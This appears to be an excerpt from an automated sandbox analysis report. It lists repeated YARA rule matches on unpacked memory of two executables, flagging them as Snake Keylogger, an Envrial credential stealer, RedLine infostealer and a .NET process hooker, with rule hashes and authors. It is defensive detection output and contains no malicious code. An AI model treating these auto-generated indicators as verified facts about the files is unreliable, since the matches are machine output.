              Source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.0.Native_New-Nova.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
